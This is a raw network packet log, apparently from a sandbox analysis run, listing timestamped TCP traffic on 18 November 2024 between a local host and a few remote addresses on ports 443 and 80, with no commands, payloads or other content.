Nov 18, 2024 17:24:08.971774101 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.971925974 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.971985102 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.972084999 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.972110033 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.972194910 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.972944975 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.972958088 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.973005056 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.973196983 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.973211050 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.973251104 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.973258018 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.973267078 CET	49869	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.973269939 CET	443	49869	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.974553108 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.974579096 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.974838018 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.974889040 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.974934101 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975627899 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975647926 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.975723982 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975914001 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975914955 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975923061 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.975934982 CET	49866	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.975939989 CET	443	49866	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.975941896 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.977819920 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.977829933 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:08.977902889 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.978033066 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:08.978048086 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.700579882 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.701026917 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.701066971 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.701098919 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.701587915 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.701627970 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.701699018 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.701706886 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.702039003 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.702047110 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.712781906 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.713157892 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.713186026 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.713419914 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.713671923 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.713680029 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.714010000 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.714031935 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.714427948 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.714435101 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.719650984 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.719981909 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.719990969 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.720480919 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.720485926 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.827982903 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.828210115 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.828289986 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.828479052 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.828530073 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.828562975 CET	49872	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.828581095 CET	443	49872	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.830475092 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.830766916 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.830825090 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.831288099 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.831327915 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.831429958 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.831459045 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.831459045 CET	49871	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.831473112 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.831484079 CET	443	49871	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.832521915 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.832535982 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.833488941 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.833522081 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.833586931 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.833684921 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.833692074 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.841563940 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.841871977 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.841933966 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.841964960 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.841978073 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.841998100 CET	49875	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.842004061 CET	443	49875	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.842554092 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.843537092 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.843611956 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.843878984 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.843907118 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.843919039 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.843936920 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.843961954 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.843961954 CET	49874	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.843972921 CET	443	49874	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.847645998 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.847659111 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.850564957 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.851475000 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.851537943 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.851582050 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.851596117 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.851607084 CET	49873	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.851613045 CET	443	49873	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.875008106 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.875030994 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.875102043 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.875777960 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.875808001 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.875899076 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.876085997 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.876086950 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:09.876101971 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:09.876106977 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.584640026 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.589323997 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.589529991 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.605107069 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.605133057 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.605876923 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.605881929 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.606545925 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.606604099 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.607239962 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.607256889 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.607613087 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.607654095 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.607995987 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.608007908 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.622309923 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.622682095 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.622690916 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.623064995 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.623070002 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.732882023 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.733100891 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.733319044 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.733382940 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.733383894 CET	49878	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.733417034 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.733442068 CET	443	49878	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.735996962 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.736212969 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.736243010 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.736314058 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.736319065 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.736358881 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.736358881 CET	49877	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.736365080 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.736373901 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.736382961 CET	443	49877	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.737262011 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.737293959 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.737359047 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.737420082 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.737420082 CET	49876	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.737440109 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.737462997 CET	443	49876	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.737571955 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.737586021 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.738652945 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.738679886 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.738765001 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.738872051 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.738884926 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.739300013 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.739310026 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.739375114 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.739499092 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.739509106 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.750165939 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.750536919 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.750555992 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.751029968 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.751036882 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.755799055 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.755978107 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.756052017 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.756067991 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.756072998 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.756092072 CET	49879	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.756098986 CET	443	49879	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.758435965 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.758470058 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.758547068 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.758699894 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.758712053 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.880354881 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.880439043 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.880567074 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.887921095 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.887921095 CET	49880	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.887939930 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.887952089 CET	443	49880	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.890937090 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.890981913 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:10.891094923 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.891236067 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:10.891247034 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.468617916 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.469285011 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.469316959 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.469769001 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.469774008 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.482773066 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.483494997 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.483522892 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.483974934 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.483980894 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.488553047 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.488991022 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.489003897 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.489387035 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.489392996 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.494937897 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.495295048 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.495321035 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.495650053 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.495656013 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.598979950 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.599138975 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.599229097 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.599468946 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.599486113 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.599497080 CET	49881	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.599502087 CET	443	49881	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.602525949 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.602565050 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.602659941 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.602826118 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.602844000 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.615272999 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.615361929 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.615411997 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.618607044 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.618623018 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.618634939 CET	49883	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.618640900 CET	443	49883	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.619088888 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.619483948 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.619544029 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.620157003 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.620172977 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.620186090 CET	49882	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.620193958 CET	443	49882	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.622873068 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.622886896 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.622967005 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.623755932 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.623775005 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.623831987 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.623976946 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.623990059 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.624339104 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.624355078 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.637357950 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.637864113 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.637876987 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.638535023 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.638540030 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.751416922 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.751580954 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.751655102 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.751801014 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.751816034 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.751831055 CET	49884	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.751837969 CET	443	49884	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.754834890 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.754859924 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.754962921 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.755131960 CET	49889	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.755146980 CET	443	49889	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.768985033 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.769274950 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.769332886 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.769377947 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.769377947 CET	49885	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.769392014 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.769402027 CET	443	49885	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.771486998 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.771512032 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:11.771579027 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.771708012 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:11.771723032 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.187894106 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 17:24:12.193742990 CET	80	49724	199.232.214.172	192.168.2.4
Nov 18, 2024 17:24:12.193815947 CET	49724	80	192.168.2.4	199.232.214.172
Nov 18, 2024 17:24:12.354569912 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.355139017 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.355166912 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.356195927 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.356205940 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.359771013 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.360183954 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.360197067 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.360651970 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.360657930 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.362166882 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.362525940 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.362600088 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.362873077 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.362888098 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.488293886 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489012957 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489115000 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489115000 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489140987 CET	49887	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489154100 CET	443	49887	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489367962 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489439011 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489483118 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489916086 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489916086 CET	49886	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.489938974 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.489952087 CET	443	49886	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492048025 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492089033 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492163897 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492306948 CET	49891	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492326021 CET	443	49891	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492569923 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492583990 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492645979 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492659092 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492695093 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492726088 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492752075 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492767096 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492777109 CET	49888	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492782116 CET	443	49888	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492857933 CET	49892	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.492889881 CET	443	49892	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.492919922 CET	443	49890	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:12.493242979 CET	49890	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:12.493252039 CET	443	49890	13.107.246.45	192.168.2.4
